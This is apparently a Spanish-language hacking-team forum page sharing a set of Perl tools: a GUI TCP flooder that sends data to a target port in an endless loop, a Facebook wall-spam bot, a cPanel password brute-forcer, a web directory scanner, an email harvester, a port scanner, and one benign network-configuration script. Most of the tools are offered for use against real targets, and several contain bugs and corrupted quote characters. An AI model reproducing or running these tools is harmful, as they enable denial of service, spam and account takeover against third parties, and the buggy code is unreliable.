Pentest Hslteam

hi hi:

Perlitas con TK. Se trata de un Sock (Envia sock de manera infinita {bucle}, para ports TCP.

Espero que lo puedan saber usar, es muy simple xD.

screenshot: http://img683.imageshack.us/img683/751/pantallazosockertcp.png

c0de:

#!/usr/bin/perl
####################################
# Hacking & Security Latin Team    #
#            - Illusions           #
# hslteam.com! - illusions         #
# 		c0dex by s3cure    #
# sockeRTCP                        #
####################################

use IO::Socket;
use Tk;

system("clear");
print "Console:\n";

#configure
my $win = MainWindow->new();
$win->configure(-title => "sockeRTCP - Illusions", -background => "black");
$win->geometry('+600+450');

#frame1, label1 n entry1.
my $frame1 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
my $label1 = $frame1->Label(-text=> "Target:", -background => "black", -foreground => "white",)->pack(-side => 'left');
my $ent1 = $frame1->Entry(-width => 12, -background => "white")->pack(-side => 'left', -pady => 3);

#frame2, label2 n entry2.
my $frame2 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
my $label2 = $frame2->Label(-text=> "Port:", -background => "black", -foreground => "white",)->pack(-side => 'left');
my $ent2 = $frame2->Entry(-width => 4, -background => "white")->pack(-side => 'left', -pady => 3);

#frame3, label3 n entry3.
my $frame3 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
my $label3 = $frame3->Label(-text=> "Socket Print:", -background => "black", -foreground => "white",)->pack(-side => 'left');
my $ent3 = $frame3->Entry(-width => 10, -background => "white")->pack(-side => 'left', -pady => 3);

#button start
$ataque = $frame3->Button(-text=>"SockeR",-command => \&atack)->pack(-side=>'bottom');

#status
my $frame4 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
my $stat = $frame4->Text(-width => 38, -height => 1)->pack(-side=>'bottom');

sub atack
{
#get vars
$target = $ent1->get();
$port = $ent2->get();
$xz12 = $ent3->get();
$sock = new IO::Socket::INET (
PeerAddr => "$target",
PeerPort => "$port",
Proto => "TCP",
);
bucle:;
print $sock "$xz12";
goto bucle;
}

MainLoop();

salu2, s3cure.

Un script para configurar la red eth0 y dns en unix :) automatizado, por si no conocen mucho del os, etc. Más que nada, practica :P

#!/usr/bin/perl
# AutoInet
# by s3cure | HSLTeam.com + – Illusions
# – Illusions.hslteam.com
system(”clear”);
print “\nAutoInet configure\nby s3cure\nHSLTeam.com!\n- Illusions\n”;
print “Configure internet with interfaces n resolv\n”;
print “Follow instructions please.\n”;
sleep(2);
print “Configure Eth0? Y/N “;
$resp2=<STDIN>;
if ($resp2 eq “Y”)
{
eth0();
}
else
{
antdn();
}
sub eth0{
print “auto eth0? Y/N “;
$autoeth=<STDIN>;
if ($autoeth eq “Y”)
{
system(”sudo echo ‘auto eth0′ > /etc/network/interfaces”);
}
else
{
system(”sudo echo ‘#auto eth0′ > /etc/network/interfaces”);
}
system(”sudo echo ‘iface eth0 inet static’ >> /etc/network/interfaces”);
print “Address: “;
$adress=<STDIN>;
system(’sudo echo “\t address $adress” >> /etc/network/interfaces’);
print “Netmask(default: 255.255.255.0): “;
$netmask=<STDIN>;
system(’sudo echo “\t netmask $netmask” >> /etc/network/interfaces’);
print “Gateway: “;
$gateway=<STDIN>;
system(’sudo echo “\t gateway $gateway” >> /etc/network/interfaces’);
print “Config Eth0 [Ok!]\n”;
sleep(1);
}
sub antdn{
print “DNS Configure? Y/N “;
$asd=<STDIN>;
if ($asd3 eq “Y”)
{
dns();
}
else
{
view();
}
}
sub dns{
print “Nameserver1: “;
$nameserver=<STDIN>;
system(’sudo echo “nameserver $nameserver” > /etc/resolv.conf’);
print “Nameserver2: “;
$nameserv2=<STDIN>;
system(’sudo echo “nameserver $nameserv2″ >> /etc/resolv.conf’);
}
sub view{
print “View results n restart networking? Y/N “;
$qew4=<STDIN>;
if ($qew4 eq “Y”)
{
result();
}
else
{
&dew
}
}
sub result{
print “Inet results:\n”;
print “Network-Interfaces:\n”;
system(”cat /etc/network/interfaces”);
print “DNS:\n”;
system(”cat /etc/resolv.conf”);
print “Wait one moment…\n”;
system(”sudo /etc/init.d/networking restart”);
print “Restart Network [Ok!]“;
sleep(1);
}
sub dew{
print “s3cure: Thanks, visit HSLTeam.com n subdomains!\n”;
print “Press Intro to exit.\n”;
$adios=<STDIN>;
}

salu2.

Bot para spamming de muros y esas porquerías de facebook. by s3cure.

requiere samie y ole. sólo win /:.

#!c:/perl/bin
#c0dex by m0x.lk || HSLTeam.com
# Facebook-spam

system("cls");
system("color 03");
print "\nFacebook-spam\n";
print "c0dex by m0x.lk || HSLTeam.com\n";
print "Start SPAM -\n\n";

use Win32::OLE;
use Win32::SAM;

my $post;
my $text;
my $email;
my $pass;

$| = 1;

$Win32::OLE::Warn = 3;

print "Email: ";
$email=<STDIN>;
print "Passwd: ";
$pass=<STDIN>;
print "\nMURO-SPAM: ";
$post=<STDIN>;
print "Text-SPAM: ";
$text=<STDIN>;

print "\nStart-SPAM ++ (Ctrl + C to Close Script)\n";

StartIE();

Navigate("http://www.facebook.com/logout.php?h=adec46c20c48ec123573248cb3c2e6b5&t=1259627549&ref=mb");
SetEditBox("email","$email");
SetEditBox("pass","$pass");
ClickFormButton("Entrar");

spam: ;
Navigate("$post");
SetEditBox("add_comment_text","$text");
ClickFormButton("comment");
goto spam;

Es muy simple su uso. by s3cure.

#!/usr/bin/perl
##############
# Check-Dirs #
# by s3cure  #
# HSLTeam.com#
# -Illusions #
##############

use LWP::Simple;

print "\nCheck-Dirs\n";
print "HSLTeam.com | - Illusions\nby s3cure\n";
print "\nTarget: ";
$target=<STDIN>;
print "Directory list: ";
$dirs=<STDIN>;

open(FILE, "<$dirs") || die "[!] Directory List -Not Found\n";
my @dirs=<FILE>;
close(FILE);
foreach my $dirs(@dirs){
$ua = LWP::UserAgent->new;
my $response = $ua->get("$target/$dirs");
if($response->status_line !~ m/^404/){
	print(@ok,"$target/$dirs");
		}
	}
print "No more results\n";

salu2.

Bruteforce de cPanel. por s3cure.

#!/usr/bin/perl
######################
# cPanel bruteforce  #
# s3cure|HSLTeam.com!#
######################

use WWW::Mechanize;

print “\nHacking & Security Latin Team\n”;
print “cPanel bruteforce\n”;
print “by s3cure – HSLTeam.com!\n”;
print “\nTarget: “;
$url=<STDIN>;
print “Username: “;
$username=<STDIN>;
print “Passwd list: “;
$password=<STDIN>;
open (FILE, “<$password”) || die “Not found passwd list.\n”;
@PASSWORDS = <FILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
}

my $mechanize = WWW::Mechanize->new(autocheck => 1);
$mechanize->get($url) || die “Failed connect to target!\n”;
$mechanize->submit_form(
form_number => 1,
fields      => {
login_username   => $username,
login_password => $passwd
}
);
print $mechanize->content( );
if (content =~ /Find/) {
print “\nPassword: $passwd”;
exit(0);
}

MailXtractor by s3cure.

#!/usr/bin/perl
# MailXtractor
# by s3cure
# HSLTeam.com!

print “MailXtractor by s3cure|m0x.lk\n”;
print “HSLTeam.com!\n\n”;
print “Mails.txt: “;
$mailtxt=<STDIN>;
print “Output.txt: “;
$outmail=<STDIN>;
print “Start…\n”;

open(SEARCH,”<$mailtxt”);
@SEARCH = <SEARCH>;
close(SEARCH);

open(FILE,”<$mailtxt”) || die “Not found $mailtxt\n”;
foreach $line (@SEARCH) {
if ($line =~ m{(\w+\@[\w.]+)}) {
open(FIN,”>$outmail”);
print FIN “$line\n”;
}
}
close(FIN);
close(FILE);
print “\nMailtxt: $mailtxt\n”;
print “Output result: $outmail\n”;
print “Ready n result saved.”;
print “\nHSLTeam.com!\n”;

Leer intrucciones :) by 0×8c.

#!/usr/bin/perl use IO::Socket::INET; use Getopt::Long; my $ip = $ARGV[0]; my %options = (); GetOptions( \%options, “r=s”, “p=s” ); print q { ================================================================================ # title: Port scanner # coder: 0×8c # site: www.hslteam.com # e-mail: < 0×8c.security@gmail.com > Usage: perl portscanner.pl [ip] {options} Options: -r [start_port-end_port] define range to scan. -p [ip:port] scan with proxy support. ================================================================================ }; if( !$ip ) { die “[+] Need to define ip to scan\n”; } my( $proxy_address, $proxy_port, @proxy ); if( $options{”p”} ) { @proxy = split( /:/, $options{”p”}, 2 ); $proxy_address = $proxy[0]; $proxy_port = $proxy[1]; print “[+] Proxy armed…\n\n”; } else { $proxy_address = “127.0.0.1″; $proxy_port = “”; print “[+] No proxy…\n”; } my( $port, $start_port, $end_port, @ports, $scan ); if( $options{”r”} ) { print “[+] Range defined…\n”; @ports = split( /-/, $options{”r”}, 2 ); $start_port = $ports[0]; $end_port = $ports[1]; print “[+] Open port(s):”; for( $port = $start_port; $port <= $end_port; $port++ ) { $scan = scan( $ip, $port ); if( $scan eq “done” ) { print ” $port -”; } } } else { @ports = qw ( 21 22 23 25 43 59 79 80 110 113 119 135 139 445 548 1025 5000 5900 6660 6661 6662 6663 6665 6666 6667 6668 6669 7000 8000 8018 8080 ); print “[+] Open port(s):”; foreach $port( @ports ) { $scan = scan( $ip, $port ); if( $scan eq “done” ) { print ” $port -”; } } } sub scan { my $connect = IO::Socket::INET->new ( Proto => ‘tcp’, PeerAddr => $ip, PeerPort => $port, ProxyAddr => $proxy_address, ProxyPort => $proxy_port ); if( $connect ) { return “done”; } close( $connect ); }